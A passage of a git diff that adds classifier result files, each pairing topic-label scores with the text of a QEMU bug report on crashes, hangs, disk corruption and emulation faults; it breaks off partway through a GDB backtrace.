diff options
Diffstat (limited to 'results/classifier/108/graphic')
394 files changed, 26308 insertions, 0 deletions
diff --git a/results/classifier/108/graphic/1000 b/results/classifier/108/graphic/1000 new file mode 100644 index 000000000..2002537ba --- /dev/null +++ b/results/classifier/108/graphic/1000 @@ -0,0 +1,19 @@ +graphic: 0.959 +semantic: 0.783 +other: 0.768 +performance: 0.697 +device: 0.694 +network: 0.691 +socket: 0.525 +vnc: 0.448 +debug: 0.443 +permissions: 0.361 +PID: 0.337 +boot: 0.328 +files: 0.229 +KVM: 0.153 + +Can qemu support different core on one machine? +Description of problem: +I want to build a machine, including three core which is different types, arm Cortex-M3 core, cortex-m33 core, contex-a53 core, communicate through mailbox. I checked the current implementation of QEMU and saw that a machine uses a core, such as mps2.c virt.c . I want to know whether the QEMU strategy supports different types of cores on one machine and can communicate with each other. +Thanks. diff --git a/results/classifier/108/graphic/1004 b/results/classifier/108/graphic/1004 new file mode 100644 index 000000000..b8dad5afd --- /dev/null +++ b/results/classifier/108/graphic/1004 @@ -0,0 +1,24 @@ +graphic: 0.985 +device: 0.858 +performance: 0.747 +debug: 0.491 +semantic: 0.405 +PID: 0.390 +boot: 0.355 +vnc: 0.241 +socket: 0.185 +network: 0.160 +KVM: 0.134 +files: 0.129 +permissions: 0.109 +other: 0.051 + +qemu-system-i386 peggs 100% host CPU +Description of problem: +Before the guest OS even starts up, the host CPU eggs at 100%. +Steps to reproduce: +1. Start any VM using qemu-system-i386 +2. On Ubuntu use Virt Manager or command line. +3. On macOS use UTM. +Additional information: + diff --git a/results/classifier/108/graphic/1008 b/results/classifier/108/graphic/1008 new file mode 100644 index 000000000..b1709d520 --- /dev/null +++ b/results/classifier/108/graphic/1008 @@ -0,0 +1,35 @@ +graphic: 0.985 +device: 0.818 +semantic: 0.798 +debug: 0.796 +PID: 0.749 +performance: 0.747 +KVM: 0.715 +vnc: 0.683 +other: 0.615 +permissions: 0.513 +files: 0.483 +socket: 0.464 +boot: 0.461 +network: 0.397 + +nested virtualisation with old host kernel, qemu 7.0.0 broken +Description of problem: +``` +$ qemu-system-x86_64 -enable-kvm -nographic +qemu-system-x86_64: error: failed to set MSR 0xc0000104 to 0x100000000 +qemu-system-x86_64: ../target/i386/kvm/kvm.c:2996: kvm_buf_set_msrs: Assertion `ret == cpu->kvm_msr_buf->nmsrs' failed. +Aborted (core dumped) + +$ +``` +Steps to reproduce: +1. (hardware) Host 1 running kernel 5.10 with nested kvm enabled +2. (virtual) Host 2, with qemu 7.0.0 installed +3. In the inner/virtual host, run: `qemu-system-x86 -enable-kvm -nographic` +Additional information: +It is fixed by using either a more up-to-date kernel version on the hardware/outer host (5.17.x for example), or by reverting to qemu 6.2.0 in the virtual/inner host. + +I have also reproduced this with latest qemu master, commit 731340813fdb4cb8339edb8630e3f923b7d987ec. + +**Reverting commit 3e4546d5bd38a1e98d4bd2de48631abf0398a3a2 also fixes the issue.** diff --git a/results/classifier/108/graphic/1013241 b/results/classifier/108/graphic/1013241 new file mode 100644 index 000000000..dabb35d73 --- /dev/null +++ b/results/classifier/108/graphic/1013241 @@ -0,0 +1,83 @@ +graphic: 0.961 +semantic: 0.950 +other: 0.942 +performance: 0.931 +permissions: 0.917 +device: 0.917 +debug: 0.892 +PID: 0.891 +files: 0.881 +vnc: 0.875 +network: 0.850 +boot: 0.780 +socket: 0.748 +KVM: 0.622 + +qemu-system-ppc64 hanging occasionally in disk writes + +I found last week that qemu-system-ppc64 (from git) hangs occasionally +under load, and I have a reproducer for it now. Unfortunately the +reproducer really takes a long time to run -- usually I can get a hang +in under 12 hours. + +Here is the reproducer case: + + https://lists.fedoraproject.org/pipermail/ppc/2012-June/001698.html + +Notes: + +(1) Verified by one other person (other than me). Happens on both + ppc64 and x86-64 host. + +(2) Happens with both Fedora guest kernel 3.3.4-5.fc17.ppc64 and kernel + 3.5.0 that I compiled myself. The test case above contains 3.3.4-5. + +(3) Seems to be a problem in qemu, not the guest. The reason I think + this is because I tried to capture a backtrace of the hang using + remote gdb, but gdb just hung when trying to connect to qemu + (gdb connects fine before the bug happens). + +(4) Judging by guest messages, appears to be happening when writing + to the disk. + +I switched to using virtio-scsi (instead of virtio-blk). This appears to have solved +this problem, although it brings another problem. I also tried vscsi, which fixes +both problems. + +Therefore I will (not definitively) claim that the problem lies somewhere in virtio-blk, +but a workaround seems to be available. + +On Tue, 2012-06-19 at 10:16 +0000, Richard W.M. Jones wrote: +> I switched to using virtio-scsi (instead of virtio-blk). This appears to have solved +> this problem, although it brings another problem. I also tried vscsi, which fixes +> both problems. +> +> Therefore I will (not definitively) claim that the problem lies somewhere in virtio-blk, +> but a workaround seems to be available. + +What was the virtio-scsi problem ? (Other than SLOF doesn't know about +it yet :-) I haven't audited/tested it so it might have endian issues... + +I have reproduced a similar hang with vscsi in full emulation, I haven't +observed your problem with virtio-blk, I plan to spend more time doing +some torture testing & debugging this week see if I can find out what's +going on. + +BTW. What was your guest kernel version ? + +Cheers, +Ben. + + + + +The problem with virtio-scsi is only a single disk shows up: + +https://bugs.launchpad.net/qemu/+bug/1013691 + +I've been using guest kernels 3.3.4 and 3.5.0-rc2+ (ie. Linus git), and both behave the same way. + +Looking through old bug tickets... can you still reproduce this issue with the latest version of QEMU? Or could we close this ticket nowadays? + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/108/graphic/1017 b/results/classifier/108/graphic/1017 new file mode 100644 index 000000000..0b5aaa0f1 --- /dev/null +++ b/results/classifier/108/graphic/1017 @@ -0,0 +1,28 @@ +graphic: 0.980 +device: 0.952 +boot: 0.805 +PID: 0.800 +performance: 0.790 +KVM: 0.767 +socket: 0.691 +debug: 0.615 +semantic: 0.587 +network: 0.543 +vnc: 0.517 +permissions: 0.501 +files: 0.487 +other: 0.438 + +Qemu Windows 10 restart bluescreen +Description of problem: +after shutting down qemu VM box and open some system programs on Host System, getting Bluescreen +with following issue - Memory Manangement or shutting down you Host system, getting bluescreen. +Only after stoppingh using qemu vm reboot system. +Steps to reproduce: +1. start qemu vm, ty get some operations +1. then stop the qemu vm via console comands +1. rebooting or restarting Host system +1. by shutting down, you get Bluescreen +2. +Additional information: + diff --git a/results/classifier/108/graphic/1020 b/results/classifier/108/graphic/1020 new file mode 100644 index 000000000..61c4f30dc --- /dev/null +++ b/results/classifier/108/graphic/1020 @@ -0,0 +1,31 @@ +graphic: 0.948 +device: 0.787 +files: 0.752 +semantic: 0.745 +PID: 0.619 +vnc: 0.608 +debug: 0.489 +other: 0.484 +socket: 0.453 +performance: 0.415 +permissions: 0.368 +boot: 0.348 +network: 0.324 +KVM: 0.193 + +Display mode 0x6 doubles lines +Description of problem: +When developing https://github.com/korneliuszo/ne2000xt I've occured problem with double lines in mode 0x06 of VGA display, problem doesn't exist in mode 0x05 +Steps to reproduce: +1. Call int 0x10, to setup video mode +2. put data into video ram (./cga.py -i 192.168.1.102 -I ~/a.png) +3. bad display +Additional information: +Bad display: + + +Same data, but in mode 0x05 + + +Same script as in bad display but run under 86Box + diff --git a/results/classifier/108/graphic/1036 b/results/classifier/108/graphic/1036 new file mode 100644 index 000000000..4188768f4 --- /dev/null +++ b/results/classifier/108/graphic/1036 @@ -0,0 +1,30 @@ +graphic: 0.970 +device: 0.793 +other: 0.756 +semantic: 0.682 +performance: 0.490 +vnc: 0.409 +PID: 0.392 +network: 0.389 +debug: 0.368 +boot: 0.318 +socket: 0.312 +permissions: 0.305 +files: 0.274 +KVM: 0.064 + +QEMU immediately exits when combining a GL-enabled SDL display with SPICE +Description of problem: +Running QEMU with the given command line results in QEMU immediately exiting with this line being printed, and no other output: + +``` +qemu-system-x86_64: Display spice is incompatible with the GL context +``` + +I am unsure whether this is a supported mode of setting up QEMU, but QEMU 6.2.0 ran just fine with it (or, to be more precise, it wasn't an issue until ac32b2fff127843355b4f7e7ac9f93dd4a395adf). + +The issue does not happen with `-display sdl,gl=off`, as GL is presumably not involved at all in that case. +Steps to reproduce: +1. Run `./qemu-system-x86_64 -display sdl,gl=on -spice port=5930`. +Additional information: +This issue has been reproduced on other distributions, including Ubuntu 20.04 and Ubuntu 22.04. diff --git a/results/classifier/108/graphic/1040 b/results/classifier/108/graphic/1040 new file mode 100644 index 000000000..9a65b5050 --- /dev/null +++ b/results/classifier/108/graphic/1040 @@ -0,0 +1,21 @@ +graphic: 0.986 +other: 0.862 +device: 0.857 +performance: 0.826 +socket: 0.799 +vnc: 0.760 +semantic: 0.758 +network: 0.716 +files: 0.665 +PID: 0.599 +permissions: 0.518 +debug: 0.448 +KVM: 0.434 +boot: 0.413 + +Windows Server 2016 VM totally freezes spontaneously during the day a couple of times for 1-5 minutes. There is no any logs in it during the freeze +Description of problem: +Windows Server 2016 VM totally freezes spontaneously during the day a couple of times for 1-5 minutes. There is no any logs inside VM during the freeze. Timestamp of the last log written into journal is right before the freeze and the pretty next log is right after the freeze is gone. Looks like "black hole". No ping from from the host toward the VM. There is no way to connect to the VM even via spice on virt-manager as well. Seems like the VM is suspending. Htop on the host during the time of the freeze shows 100% load of all eight cores dedicated to the VM. But the host system is available and reachable, the lxc's inside this host is available and reachable as well. + + + diff --git a/results/classifier/108/graphic/1046 b/results/classifier/108/graphic/1046 new file mode 100644 index 000000000..cdcfd2c14 --- /dev/null +++ b/results/classifier/108/graphic/1046 @@ -0,0 +1,27 @@ +graphic: 0.937 +performance: 0.877 +device: 0.868 +KVM: 0.638 +PID: 0.409 +permissions: 0.406 +debug: 0.395 +semantic: 0.384 +vnc: 0.331 +network: 0.305 +socket: 0.255 +boot: 0.215 +other: 0.202 +files: 0.051 + +Using more than 2G of RAM on armv7l guest with RPI4 +Description of problem: +I was able to run my armv7l guest on RPI4 8G using qemu 6.2, but on 7.0 it doesn't work: +`qemu-kvm: Addressing limited to 32 bits, but memory exceeds it by 3221225472 bytes`. + +The only reference I found is this issue: https://gitlab.com/qemu-project/qemu/-/issues/903 +Steps to reproduce: +1. `-M virt,highmem=off,gic-version=host,accel=kvm` +2. `-cpu host,aarch64=off` +3. `-m 6G` +Additional information: + diff --git a/results/classifier/108/graphic/1047 b/results/classifier/108/graphic/1047 new file mode 100644 index 000000000..5baba76d9 --- /dev/null +++ b/results/classifier/108/graphic/1047 @@ -0,0 +1,119 @@ +graphic: 0.925 +device: 0.924 +performance: 0.912 +semantic: 0.907 +permissions: 0.903 +debug: 0.901 +other: 0.896 +vnc: 0.889 +socket: 0.885 +boot: 0.856 +KVM: 0.847 +PID: 0.843 +network: 0.832 +files: 0.772 + +Single stepping Windows 10 bootloader results in Assertion `ret < cpu->num_ases && ret >= 0' failed. +Description of problem: +When I am trying to debug Windows bootloader, I see an assertion error in QEMU when single stepping some instructions in SeaBIOS. + +``` +qemu-system-i386: ../hw/core/cpu-sysemu.c:77: cpu_asidx_from_attrs: Assertion `ret < cpu->num_ases && ret >= 0' failed. +``` +Steps to reproduce: +1. Download / construct `w.img`, see above +2. Start QEMU using `./qemu-system-i386 --drive media=disk,file=w.img,format=raw,index=1 -s -S -enable-kvm` +3. Start GDB using `gdb --ex 'target remote :::1234' --ex 'hb *0x7c00' --ex c --ex 'si 1000' --ex q` +4. See error message +Additional information: +The GDB script first breaks at 0x7c00, then tries to execute 1000 instructions using single step (`si`). On my machine, after executing around 772 instructions, the assertion error in QEMU happens. +Here is an interactive GDB session on my machine. + +``` +(gdb) hb *0x7c00 +Hardware assisted breakpoint 1 at 0x7c00 +(gdb) c +Continuing. + +Breakpoint 1, 0x00007c00 in ?? () +(gdb) d +Delete all breakpoints? (y or n) y +(gdb) si 770 +0x000f7d7b in ?? () +(gdb) x/10i $eip +=> 0xf7d7b: mov $0x7d85,%ebx + 0xf7d80: out %al,$0xb2 + 0xf7d82: pause + 0xf7d84: hlt + 0xf7d85: mov %bp,%sp + 0xf7d88: jmp 0xf7dd1 + 0xf7d8a: mov %cx,%si + 0xf7d8d: mov $0x1,%ax + 0xf7d91: add %al,(%eax) + 0xf7d93: callw 0x6b66 +(gdb) si +0x000f7d80 in ?? () +(gdb) info reg +eax 0xb5 181 +ecx 0x5678 22136 +edx 0x0 0 +ebx 0x7d85 32133 +esp 0xe96d4 0xe96d4 +ebp 0xfed4 0xfed4 +esi 0xe0346 918342 +edi 0xefd91 982417 +eip 0xf7d80 0xf7d80 +eflags 0x6 [ IOPL=0 PF ] +cs 0x8 8 +ss 0x10 16 +ds 0x10 16 +es 0x10 16 +fs 0x10 16 +gs 0x10 16 +fs_base 0x0 0 +gs_base 0x0 0 +k_gs_base 0x0 0 +cr0 0x11 [ ET PE ] +cr2 0x0 0 +cr3 0x0 [ PDBR=0 PCID=0 ] +cr4 0x0 [ ] +cr8 0x0 0 +efer 0x0 [ ] +... +mxcsr 0x1f80 [ IM DM ZM OM UM PM ] +(gdb) si +0x000f7d82 in ?? () +(gdb) info reg +eax 0xb5 181 +ecx 0x5678 22136 +edx 0x0 0 +ebx 0x7d85 32133 +esp 0xe96d4 0xe96d4 +ebp 0xfed4 0xfed4 +esi 0xe0346 918342 +edi 0xefd91 982417 +eip 0xf7d82 0xf7d82 +eflags 0x6 [ IOPL=0 PF ] +cs 0x8 8 +ss 0x10 16 +ds 0x10 16 +es 0x10 16 +fs 0x10 16 +gs 0x10 16 +fs_base 0x0 0 +gs_base 0x0 0 +k_gs_base 0x0 0 +cr0 0x11 [ ET PE ] +cr2 0x0 0 +cr3 0x0 [ PDBR=0 PCID=0 ] +cr4 0x0 [ ] +cr8 0x0 0 +efer 0x0 [ ] +... +mxcsr 0x1f80 [ IM DM ZM OM UM PM ] +(gdb) si +Remote connection closed +(gdb) +``` + +This bug was first incorrectly filed in KVM's bug tracker at <https://bugzilla.kernel.org/show_bug.cgi?id=216003>. diff --git a/results/classifier/108/graphic/1051 b/results/classifier/108/graphic/1051 new file mode 100644 index 000000000..72ca7f1a7 --- /dev/null +++ b/results/classifier/108/graphic/1051 @@ -0,0 +1,16 @@ +graphic: 0.963 +semantic: 0.930 +other: 0.835 +performance: 0.800 +device: 0.740 +network: 0.513 +files: 0.454 +vnc: 0.382 +boot: 0.333 +permissions: 0.246 +socket: 0.099 +debug: 0.098 +PID: 0.028 +KVM: 0.018 + +or1k tcg SIGILL diff --git a/results/classifier/108/graphic/1058 b/results/classifier/108/graphic/1058 new file mode 100644 index 000000000..e43f3d838 --- /dev/null +++ b/results/classifier/108/graphic/1058 @@ -0,0 +1,23 @@ +graphic: 0.965 +device: 0.900 +boot: 0.864 +socket: 0.744 +network: 0.646 +vnc: 0.603 +semantic: 0.499 +debug: 0.492 +PID: 0.489 +performance: 0.480 +permissions: 0.359 +other: 0.298 +files: 0.145 +KVM: 0.007 + +NetBSD Sparc 8.2 OS doesn't seem to accept keyboard input (-nographic) +Description of problem: +The NetBSD appears to boot to the login prompt successfully, but when the login prompt appears, the system doesn't appear to recognize keyboard input and so I cannot login (I can't seem to boot into single user mode for the same reason). I can see the characters being typed on the terminal, but pressing the Enter key to submit input results in nothing. + +I've confirmed that this is an issue with NetBSD because I also attempted to spin up a Solaris 8 VM and a Solaris 2.6 VM with the `-nographic` flag turned on, and I was able to log in and interact with both of those virtual machines. +Steps to reproduce: +1. Use RHEL 8.6 as the base OS (**Update:** I've discovered that this error occurs under a different host OS too (Ubuntu 20.04 LTS in my case) +2. Start the NetBSD VM running the command as specified above diff --git a/results/classifier/108/graphic/1059 b/results/classifier/108/graphic/1059 new file mode 100644 index 000000000..a80d04360 --- /dev/null +++ b/results/classifier/108/graphic/1059 @@ -0,0 +1,25 @@ +graphic: 0.978 +device: 0.793 +network: 0.565 +files: 0.502 +PID: 0.454 +semantic: 0.402 +performance: 0.385 +socket: 0.384 +debug: 0.370 +vnc: 0.314 +boot: 0.264 +permissions: 0.199 +other: 0.143 +KVM: 0.036 + +qemu: uncaught target signal 6 (Aborted) - core dumped Issue +Description of problem: +When we are trying to use the docker images which is using Qemu internally in mac Os then we are getting the qemu: uncaught target signal 6 (Aborted) - core dumped Issue +Steps to reproduce: +1. https://botfront.io/docs/installation/local-machine install in local machine +2. run bot front run +3. Go to the docker dashboard and open the botfront-rasa. +4.  +Additional information: +Looking forward to get some updates regarding how we can solve this or any hack we can apply here. Thanks in advance. diff --git a/results/classifier/108/graphic/1062589 b/results/classifier/108/graphic/1062589 new file mode 100644 index 000000000..0772077f5 --- /dev/null +++ b/results/classifier/108/graphic/1062589 @@ -0,0 +1,155 @@ +graphic: 0.956 +semantic: 0.951 +other: 0.945 +debug: 0.945 +permissions: 0.937 +KVM: 0.936 +device: 0.934 +performance: 0.934 +vnc: 0.929 +socket: 0.926 +PID: 0.907 +files: 0.890 +boot: 0.880 +network: 0.874 + +Xp guest disk is corrupted when the data size exceeds 4 GB + +Host : +- 2.6.30.10 i686 pentium3 i386 GNU/Linux + +Guest : +- XPsp3 + +QEMU : +- QEMU emulator version 1.2.0 and 1.2.50 +- sudo /sources/qemu/i386-softmmu/qemu-system-i386 \ + -runas user -enable-kvm -rtc base=localtime -no-shutdown \ + -m 384 -usb -usbdevice tablet -vga std \ + -net nic,model=ne2k_pci -net tap,script=no,downscript=no \ + -drive file=/qemu/XP.img,index=0,media=disk,cache=writeback \ + -hdb /qemu/data.img \ + -drive index=2,media=cdrom,file=/jukebox/iso/xpProSP2.iso + +- image: /qemu/XP.img (before problem) +file format: qcow2 +virtual size: 10G (10737418240 bytes) +disk size: 3.9G +cluster_size: 65536 + +- chkdsk on Guest (before problem) +10474348 KB total disk space. +3519880 KB in 16982 files. +4440 KB in 898 indexes. +0 KB in bad sectors. +75980 KB in use by the system. +54432 KB occupied by the log file. +6874048 KB available on disk. + +4096 bytes in each allocation unit. +2618587 total allocation units on disk. +1718512 allocation units available on disk. + +- qemu-img check +Warning: cluster offset=0x42330b55100000 is after the end of the image file, can't properly check refcounts. +Warning: cluster offset=0x42330b55120000 is after the end of the image file, can't properly check refcounts. +ERROR l2_offset=42330b55110000: Table is not cluster aligned; L1 entry corrupted +Warning: cluster offset=0xa4d26d66440000 is after the end of the image file, can't properly check refcounts. +Warning: cluster offset=0xa4d26d66460000 is after the end of the image file, can't properly check refcounts. +ERROR l2_offset=a4d26d66453300: Table is not cluster aligned; L1 entry corrupted +ERROR: invalid cluster offset=0xad1f0047300000 +ERROR: invalid cluster offset=0xad1f0047320000 +ERROR l2_offset=ad1f0047309700: Table is not cluster aligned; L1 entry corrupted +ERROR OFLAG_COPIED: l2_offset=c452330b15090000 refcount=0 +Warning: cluster offset=0x52330b15080000 is after the end of the image file, can't properly check refcounts. +Warning: cluster offset=0x52330b150a0000 is after the end of the image file, can't properly check refcounts. +ERROR l2_offset=52330b15090000: Table is not cluster aligned; L1 entry corrupted +ERROR OFLAG_COPIED: l2_offset=cc5234077956330b refcount=0 +Warning: cluster offset=0x52340779560000 is after the end of the image file, can't properly check refcounts. +Warning: cluster offset=0x52340779580000 is after the end of the image file, can't properly check refcounts. +ERROR l2_offset=52340779563300: Table is not cluster aligned; L1 entry corrupted +ERROR refcount block 0 is not cluster aligned; refcount table entry corrupted +ERROR refcount block 1 is not cluster aligned; refcount table entry corrupted +ERROR refcount block 2 is outside image +ERROR refcount block 3 is not cluster aligned; refcount table entry corrupted +ERROR refcount block 4 is not cluster aligned; refcount table entry corrupted +ERROR refcount block 5 is not cluster aligned; refcount table entry corrupted +ERROR refcount block 6 is not cluster aligned; refcount table entry corrupted +ERROR refcount block 7 is not cluster aligned; refcount table entry corrupted +ERROR refcount block 8 is not cluster aligned; refcount table entry corrupted +ERROR refcount block 9 is not cluster aligned; refcount table entry corrupted +. +. +. +. +. +ERROR refcount block 16381 is not cluster aligned; refcount table entry corrupted +ERROR refcount block 16382 is outside image +ERROR refcount block 16383 is not cluster aligned; refcount table entry corrupted +ERROR cluster 0 refcount=0 reference=1 +ERROR cluster 1 refcount=0 reference=1 +ERROR cluster 3 refcount=0 reference=1 + +16396 errors were found on the image. +Data may be corrupted, or further writes to the image may corrupt it. + +8 internal errors have occurred during the check. + + +Hi, + +Everything is running pretty good until data size on disk C exceeds 4 GB. I Tried many options before figuring out that the problem occurs when data size exceeds 4 GB. I tried with QEMU 1.2.50, same problem. + +Best Regards. + +I'm wondering it the bug is not from XP because some times, the windows installer refuse to format an ntfs partition that exceeds 4 GB ... + +On Fri, Oct 05, 2012 at 10:30:15PM -0000, pil926 wrote: +> Host : +> - 2.6.30.10 i686 pentium3 i386 GNU/Linux +... +> Everything is running pretty good until data size on disk C exceeds 4 +> GB. I Tried many options before figuring out that the problem occurs +> when data size exceeds 4 GB. I tried with QEMU 1.2.50, same problem. + +Can you perform the same test on a x86_64 host? The i686 host and 4 GB +threshold suggests this is a 32-bit/64-bit portability bug. + +Did a previous QEMU version work for you? git-bisect(1) can be used to find +which commit introduced the regression. + +Stefan + + +> Can you perform the same test on a x86_64 host? The i686 host +> and 4 GB threshold suggests this is a 32-bit/64-bit portability bug. +I quite don't understand. My processor is a 64 bit (pentium dual core E5300) but the host is linux 32 bits and the guest is XP 32 bits. + +> Did a previous QEMU version work for you? git-bisect(1) can be used +> to find which commit introduced the regression. +I had the bug with 1.2.0, then i tried 1.2.50 but same problem. + +Best Regards. + +The request was to try doing the same thing with a 64-bit host. But changing anything else would also be useful, for example you could try a Linux guest with both IDE and virtio disks. + +My system is LFS, so that means i'll have to install CLFS to manage 32/64 software. It's gonna take a long time to get the knowledge so i'll probably don't do that before some months. + +Best Regards. + +That's okay, we're not in hurry. + +I for one can say that I used large qcow2 disk images with winXP and win7 for several years on 32bit userspace, and never had an issue like that. There were issues due to other bugs, but that's irrelevant. + +Thanks, + +/mjt + +Well, I guess it's a "bad luck" problem specific to my configuration. I tried with a raw image, same problem. So, right now, I use a 4gb qcow2 image for the system and a 4gb qcow2 image for the apps and it runs perfect so far. + +Best Regards. + +Triaging old bug tickets... can you still reproduce this issue with the latest version of QEMU? Or could we close this ticket nowadays? + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/108/graphic/1063 b/results/classifier/108/graphic/1063 new file mode 100644 index 000000000..d96327aaa --- /dev/null +++ b/results/classifier/108/graphic/1063 @@ -0,0 +1,24 @@ +graphic: 0.980 +device: 0.919 +vnc: 0.797 +performance: 0.790 +boot: 0.744 +PID: 0.726 +semantic: 0.658 +files: 0.612 +socket: 0.502 +debug: 0.499 +permissions: 0.481 +network: 0.480 +KVM: 0.191 +other: 0.124 + +qemu: could not load PC BIOS 'bios-256k.bin' +Description of problem: +I cloned latest QEMU and build in Ubuntu 18.04, when I run QEMU to start a vm, it tells me `could not load PC BIOS 'bios-256k.bin' + + +Steps to reproduce: +1. Clone latest QEMU in Ubuntu18.04 +2. build QEMU +3. Use QEMU and libvirt to start a virtual machine. diff --git a/results/classifier/108/graphic/1068 b/results/classifier/108/graphic/1068 new file mode 100644 index 000000000..779af27a7 --- /dev/null +++ b/results/classifier/108/graphic/1068 @@ -0,0 +1,26 @@ +graphic: 0.976 +vnc: 0.920 +device: 0.907 +boot: 0.906 +socket: 0.801 +network: 0.759 +debug: 0.752 +PID: 0.732 +semantic: 0.706 +permissions: 0.672 +files: 0.634 +KVM: 0.632 +performance: 0.620 +other: 0.129 + +VMs stuck loading Kernel "Freeing unused Kernel image (initmem) memory" with host running Vanilla Kernel >= 5.18.0 +Description of problem: +The VMs are stuck after "Freeing unused Kernel image (initmem) memory" +See attached screen recording. +Rebooting the host with Kernel 5.17.13 solves the problem. +Steps to reproduce: +1. Boot host with Kernel >= 5.18.0 +2. Start VM +Additional information: +[bug.log](/uploads/faa14ac0bf84a21beb2ffeeb650df4b9/bug.log) +[qemu-libvirt-host-kernel-5.18.2.mkv](/uploads/87a064f171833e9fb3d46fd3ece32152/qemu-libvirt-host-kernel-5.18.2.mkv) diff --git a/results/classifier/108/graphic/1069 b/results/classifier/108/graphic/1069 new file mode 100644 index 000000000..0180f972e --- /dev/null +++ b/results/classifier/108/graphic/1069 @@ -0,0 +1,28 @@ +graphic: 0.959 +device: 0.932 +PID: 0.660 +semantic: 0.644 +debug: 0.599 +boot: 0.502 +other: 0.477 +vnc: 0.440 +performance: 0.407 +permissions: 0.393 +socket: 0.325 +network: 0.263 +files: 0.171 +KVM: 0.025 + +Qemu triggers the split lock detection of the Linux kernel +Description of problem: +Windows displays a "blue screen of death" and the Linux kernel logs this error message: + +``` +[ 180.886150] x86/split lock detection: #AC: qemu-system-x86/10167 took a split_lock trap at address: 0x3ff2624d +[ 180.946151] x86/split lock detection: #AC: qemu-system-x86/10168 took a split_lock trap at address: 0x3ff2624d +``` +Steps to reproduce: +1. Start the guest OS +2. Do some stuff in the Windows guest (for instance OS updates) +Additional information: +Is this a bug in Windows or in Qemu ? diff --git a/results/classifier/108/graphic/1075 b/results/classifier/108/graphic/1075 new file mode 100644 index 000000000..deaf340fe --- /dev/null +++ b/results/classifier/108/graphic/1075 @@ -0,0 +1,31 @@ +graphic: 0.974 +device: 0.872 +permissions: 0.867 +performance: 0.852 +network: 0.844 +socket: 0.729 +PID: 0.698 +vnc: 0.678 +files: 0.670 +semantic: 0.564 +debug: 0.522 +boot: 0.472 +other: 0.232 +KVM: 0.150 + +Unable to create a cluster using ppc64le specific kind binary on x86 host architecture +Description of problem: + +Steps to reproduce: +1. docker run --rm --privileged multiarch/qemu-user-static --reset -p yes +2. wget https://github.com/kubernetes-sigs/kind/releases/download/v0.14.0/kind-linux-ppc64le +3. chmod u+x kind-linux-ppc64le +4. curl -LO https://storage.googleapis.com/kubernetes-release/release/$(curl -s https://storage.googleapis.com/kubernetes-release/release/stable.txt)/bin/linux/ppc64le/kubectl +5. chmod +x kubectl +6. sudo cp kubectl /usr/local/bin/ +7. KUBECONFIG="${HOME}/kind-test-config" +8. export KUBECONFIG +9. ./kind-linux-ppc64le create cluster --image quay.io/mayurwaghmode111/node-ppc64le:ppc64le -v=3 --wait 1m --retain +10. ./kind-linux-ppc64le export logs +Additional information: + diff --git a/results/classifier/108/graphic/1081416 b/results/classifier/108/graphic/1081416 new file mode 100644 index 000000000..710d5ce18 --- /dev/null +++ b/results/classifier/108/graphic/1081416 @@ -0,0 +1,113 @@ +graphic: 0.920 +permissions: 0.887 +performance: 0.841 +other: 0.839 +device: 0.804 +boot: 0.793 +files: 0.780 +debug: 0.776 +PID: 0.772 +network: 0.768 +semantic: 0.762 +socket: 0.758 +vnc: 0.719 +KVM: 0.703 + +Qemu 1.2.0 crashes when using tcp serial console and GRUB boots + +When booting OpenWRT Attitude Adjustement ( http://downloads.openwrt.org/attitude_adjustment/12.09-beta2/x86/generic/openwrt-x86-generic-combined-ext4.img.gz ) with this command line: +qemu-system-x86_64 -serial tcp:127.0.0.1:4444 -hda openwrt-x86-generic-combined-ext4.img + +Qemu crashes as soon as GRUB starts, after network cards start. + +*** buffer overflow detected ***: /usr/bin/qemu-system-x86_64 terminated +======= Backtrace: ========= +/usr/lib/libc.so.6(__fortify_fail+0x37)[0x7ffff45f2ad7] +/usr/lib/libc.so.6(+0xf9bb0)[0x7ffff45f0bb0] +/usr/lib/libc.so.6(+0xfba47)[0x7ffff45f2a47] +/usr/bin/qemu-system-x86_64[0x46a628] +/usr/bin/qemu-system-x86_64[0x4e8a14] +/usr/bin/qemu-system-x86_64[0x4e802b] +/usr/lib/libc.so.6(__libc_start_main+0xf5)[0x7ffff4518725] +/usr/bin/qemu-system-x86_64[0x40d949] + + +Here is a GDB backtrace: + +Program received signal SIGABRT, Aborted. +0x00007ffff452bfa5 in raise () from /usr/lib/libc.so.6 +(gdb) bt +#0 0x00007ffff452bfa5 in raise () from /usr/lib/libc.so.6 +#1 0x00007ffff452d428 in abort () from /usr/lib/libc.so.6 +#2 0x00007ffff456acfb in __libc_message () from /usr/lib/libc.so.6 +#3 0x00007ffff45f2ad7 in __fortify_fail () from /usr/lib/libc.so.6 +#4 0x00007ffff45f0bb0 in __chk_fail () from /usr/lib/libc.so.6 +#5 0x00007ffff45f2a47 in __fdelt_warn () from /usr/lib/libc.so.6 +#6 0x000000000046a628 in qemu_iohandler_poll (readfds=0xdb7da0 <rfds>, + writefds=0xdb7e20 <wfds>, xfds=0x6, xfds@entry=0xdb7ea0 <xfds>, ret=-1, + ret@entry=1) at iohandler.c:121 +#7 0x00000000004e8a14 in main_loop_wait (nonblocking=<optimized out>) + at main-loop.c:497 +#8 0x00000000004e802b in main_loop () + at /usr/src/aur/qemu/src/qemu-1.2.0/vl.c:1643 +#9 main (argc=<optimized out>, argv=<optimized out>, envp=<optimized out>) + at /usr/src/aur/qemu/src/qemu-1.2.0/vl.c:3755 +(gdb) + +Here is a more useless dump... + +On Wed, Nov 21, 2012 at 03:14:28AM -0000, Jérôme Poulin wrote: +> When booting OpenWRT Attitude Adjustement ( http://downloads.openwrt.org/attitude_adjustment/12.09-beta2/x86/generic/openwrt-x86-generic-combined-ext4.img.gz ) with this command line: +> qemu-system-x86_64 -serial tcp:127.0.0.1:4444 -hda openwrt-x86-generic-combined-ext4.img +> +> Qemu crashes as soon as GRUB starts, after network cards start. +[...] +> Program received signal SIGABRT, Aborted. +> 0x00007ffff452bfa5 in raise () from /usr/lib/libc.so.6 +> (gdb) bt +> #0 0x00007ffff452bfa5 in raise () from /usr/lib/libc.so.6 +> #1 0x00007ffff452d428 in abort () from /usr/lib/libc.so.6 +> #2 0x00007ffff456acfb in __libc_message () from /usr/lib/libc.so.6 +> #3 0x00007ffff45f2ad7 in __fortify_fail () from /usr/lib/libc.so.6 +> #4 0x00007ffff45f0bb0 in __chk_fail () from /usr/lib/libc.so.6 +> #5 0x00007ffff45f2a47 in __fdelt_warn () from /usr/lib/libc.so.6 +> #6 0x000000000046a628 in qemu_iohandler_poll (readfds=0xdb7da0 <rfds>, +> writefds=0xdb7e20 <wfds>, xfds=0x6, xfds@entry=0xdb7ea0 